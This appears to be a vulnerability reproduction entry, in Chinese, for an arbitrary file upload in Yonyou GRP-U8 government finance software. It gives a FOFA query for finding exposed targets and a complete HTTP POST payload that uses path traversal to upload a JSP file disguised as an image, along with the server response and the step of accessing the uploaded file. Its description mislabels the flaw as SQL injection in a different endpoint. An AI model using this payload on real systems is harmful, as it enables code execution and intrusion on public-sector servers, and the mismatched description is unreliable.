

Y16-12用友-GRP-U8-文件上传

漏洞描述:

用友GRP-U8行政事业财务管理软件是友友公司专注于电子政务事业，基于云计算技术所推出的新一代产品，是我国行政事业财务领域专业的财务管理软件。用友 GRP-U8 行政事业内控版 getGsbmByKjnd接口存在SQL注入漏洞，攻击者通过该漏洞可以获取数据库敏感信息。

网站图片:

网络测绘:

fofa语法:

- fofaapp="用友-GRP-U8"

漏洞复现:

payload:

```
POST /U8AppProxy?gnid=myinfo&id=saveheader&zycdm=../../ECd63a HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW0vdr4bjEUTVj3Sw
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 180

-----WebKitFormBoundaryW0vdr4bjEUTVj3Sw
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/png

test

-----WebKitFormBoundaryW0vdr4bjEUTVj3Sw--
```

效果图:

影响码为500并且存在关键字及上传成功

```
POST /U8AppProxy?gnid=myinfo&id=saveheader&zycdm=../../ECd63a HTTP/1.1
Host:
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryW0vdr4bjEUTVj3Sw
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 180

-----WebKitFormBoundaryW0vdr4bjEUTVj3Sw
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/png

test

-----WebKitFormBoundaryW0vdr4bjEUTVj3Sw--
```

访问ECd63a.jsp

← → ↺ ↻ 🔒 🔓 100.100.100.100/ECd63a.jsp

test

```
1 <!doctype html>
2 <html>
3 <head>
4 <title>Apache Tomcat/8.0.24 - Error report</title>
5 <style type="text/css">
6 <H1 {font-family:Tahoma,Arial,sans-serif;color:white;
background-color:#525D76;font-size:22px;} H2 {
font-family:Tahoma,Arial,sans-serif;color:white;
background-color:#525D76;font-size:16px;} H3 {
font-family:Tahoma,Arial,sans-serif;color:white;
background-color:#525D76;font-size:14px;} BODY {
font-family:Tahoma,Arial,sans-serif;color:black;
background-color:white;} B {font-family:Tahoma,Arial,
sans-serif;color:white;background-color:#525D76;} P {
font-family:Tahoma,Arial,sans-serif;background:white;
color:black;font-size:12px;} A {color:black;} A.name {color:
black;}.line {height:1px;background-color:#525D76;border:
none;}
7 </style>
8 </head>
9 <body>
10 <h1>HTTP Status 500 - Width (-1) and height (-1) cannot be
= 0</h1>
11 <div class="line"></div>
12 <p><b>type</b>: Exception report</p>
13 <p><b>message</b>: <u>Width (-1) and height (-1) cannot be
0</u></p>
14 <p>
15 <b>description</b>
```